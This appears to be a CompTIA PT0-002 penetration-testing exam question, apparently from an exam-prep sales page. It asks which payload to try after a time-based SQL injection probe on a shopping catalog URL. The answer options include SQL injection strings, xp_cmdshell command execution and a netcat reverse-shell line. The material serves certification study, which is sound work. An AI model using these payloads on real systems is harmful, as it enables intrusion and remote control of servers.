A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing...

CompTIA PT0-002 Question Answer

A penetration tester examines a web-based shopping catalog and discovers the following URL when viewing a product in the catalog:

http://company.com/catalog.asp?productid=22

The penetration tester alters the URL in the browser to the following and notices a delay when the page refreshes:

http://company.com/catalog.asp?productid=22;WAITFOR DELAY '00:00:05'

Which of the following should the penetration tester attempt NEXT?

http://company.com/catalog.asp?productid=22:EXEC xp_cmdshell 'whoami'

http://company.com/catalog.asp?productid=22 ' OR 1=1 --

http://company.com/catalog.asp?productid=22 ' UNION SELECT 1,2,3 --

http://company.com/catalog.asp?productid=22;nc 192.168.1.22 4444 -e /bin/bash

CompTIA PT0-002 Summary

Price: $52.5 ~~$149.99~~